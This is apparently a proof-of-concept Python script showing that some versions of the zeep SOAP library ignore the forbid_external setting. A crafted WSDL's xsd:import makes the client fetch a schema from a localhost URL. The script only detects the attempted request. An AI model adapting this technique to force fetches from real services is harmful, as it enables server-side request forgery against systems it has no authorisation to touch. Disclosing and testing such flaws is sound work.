Vulnerable code sample

import os
import zeep
from zeep.settings import Settings
from requests.exceptions import RequestException

# This WSDL file contains an xsd:import that points to an external resource.
# In a vulnerable version of zeep, this external resource will be fetched
# even if forbid_external is set to True.
VULNERABLE_WSDL_CONTENT = """
<?xml version="1.0" encoding="UTF-8"?>
<wsdl:definitions
    xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:tns="http://example.com/vulnerable"
    targetNamespace="http://example.com/vulnerable">

    <wsdl:types>
        <xsd:schema targetNamespace="http://example.com/vulnerable">
            <!-- This import should be blocked by the settings, but it is not -->
            <xsd:import
                namespace="http://example.com/external"
                schemaLocation="http://127.0.0.1:9999/malicious.xsd" />
        </xsd:schema>
    </wsdl:types>

    <wsdl:message name="Request"/>
    <wsdl:message name="Response"/>

    <wsdl:portType name="VulnerablePortType">
        <wsdl:operation name="doSomething">
            <wsdl:input message="tns:Request"/>
            <wsdl:output message="tns:Response"/>
        </wsdl:operation>
    </wsdl:portType>
</wsdl:definitions>
"""

WSDL_FILENAME = "vulnerable.wsdl"

# Create the local WSDL file
with open(WSDL_FILENAME, "w") as f:
    f.write(VULNERABLE_WSDL_CONTENT)

# Define settings that are intended to prevent external network requests during parsing.
# In vulnerable versions, the 'forbid_external' flag is not enforced.
settings = Settings(forbid_external=True)

print(f"Attempting to initialize Zeep client with '{WSDL_FILENAME}'...")
print("Settings are configured with forbid_external=True.")

try:
    # On a vulnerable version (e.g., 4.1.0), this line will attempt to make an
    # HTTP request to 127.0.0.1:9999, ignoring the 'forbid_external' setting.
    # This will likely raise a RequestException (e.g., ConnectionError)
    # if no server is listening on that port, thus proving the vulnerability.
    client = zeep.Client(wsdl=WSDL_FILENAME, settings=settings)
    print("\n[FAIL] Vulnerability NOT triggered. The client was created without error.")
    print("This might happen if the fix is applied or the external resource was accessible.")

except RequestException as e:
    print(f"\n[SUCCESS] VULNERABILITY TRIGGERED!")
    print("A 'requests.exceptions.RequestException' was caught, proving that Zeep")
    print("attempted an external network request despite 'forbid_external=True'.")
    print(f"Exception: {e}")

finally:
    # Clean up the created WSDL file
    if os.path.exists(WSDL_FILENAME):
        os.remove(WSDL_FILENAME)